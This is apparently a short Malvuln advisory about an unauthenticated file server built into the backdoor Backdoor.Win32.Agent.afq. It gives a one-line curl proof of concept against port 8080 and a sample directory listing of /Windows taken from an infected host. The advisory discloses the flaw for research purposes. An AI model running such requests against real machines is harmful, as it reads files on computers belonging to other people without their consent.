Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/853754de6b8ffbe1321a8c91aab5c232.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.afq 
Vulnerability: Missing Authentication
Description: The malwares built-in server "UberWWW v. 1.1" listens on TCP port 8080. There is no authentication, third-party attackers who can reach the server can list any dir and read any file on the infected host. 
Type: PE32
MD5: 853754de6b8ffbe1321a8c91aab5c232
Vuln ID: MVID-2021-0188
Dropped files: 
Disclosure: 04/27/2021

Exploit/PoC:
curl http://192.168.88.127:8080/Windows

Directory listing of /Windows

Filename                                               Size
 .                                                        0
 ..                                                       0
 addins                                                   0
 appcompat                                                0
 apppatch                                                 0
 AppReadiness                                             0
 assembly                                                 0
 bcastdvr                                                 0
 bfsvc.exe                                            65536
 BitLockerDiscoveryVolumeContents                         0
 Boot                                                     0
 bootstat.dat                                         67584

etc....

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